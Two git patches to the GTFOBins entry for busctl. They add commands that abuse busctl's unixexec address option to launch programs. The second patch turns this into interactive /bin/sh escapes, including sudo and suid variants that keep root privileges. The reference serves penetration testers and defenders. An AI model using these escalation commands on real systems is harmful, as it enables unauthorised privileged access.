From d5194e343d1acf61a9de452984d9ca7080b90ced Mon Sep 17 00:00:00 2001 From: Gabriel Corona Date: Thu, 8 Jun 2023 23:04:35 +0200 Subject: [PATCH 1/2] Add busctl ----address=unixexec:... --- _gtfobins/busctl.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/_gtfobins/busctl.md b/_gtfobins/busctl.md index c0f8893..8d882dc 100644 --- a/_gtfobins/busctl.md +++ b/_gtfobins/busctl.md @@ -9,4 +9,7 @@ functions: - code: | sudo busctl --show-machine !/bin/sh + command: + - code: | + busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=firefox,argv1=https://www.example.com --- From 0a28b732b0f83260cbb269c4861eaf465504affa Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 23 Dec 2023 14:06:16 +0100 Subject: [PATCH 2/2] Promote to shell --- _gtfobins/busctl.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/_gtfobins/busctl.md b/_gtfobins/busctl.md index 8d882dc..7b542cf 100644 --- a/_gtfobins/busctl.md +++ b/_gtfobins/busctl.md @@ -1,15 +1,16 @@ --- -description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. functions: shell: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | busctl --show-machine !/bin/sh + - code: | + busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2' sudo: - code: | - sudo busctl --show-machine - !/bin/sh - command: + sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2' + suid: - code: | - busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=firefox,argv1=https://www.example.com + ./busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2' ---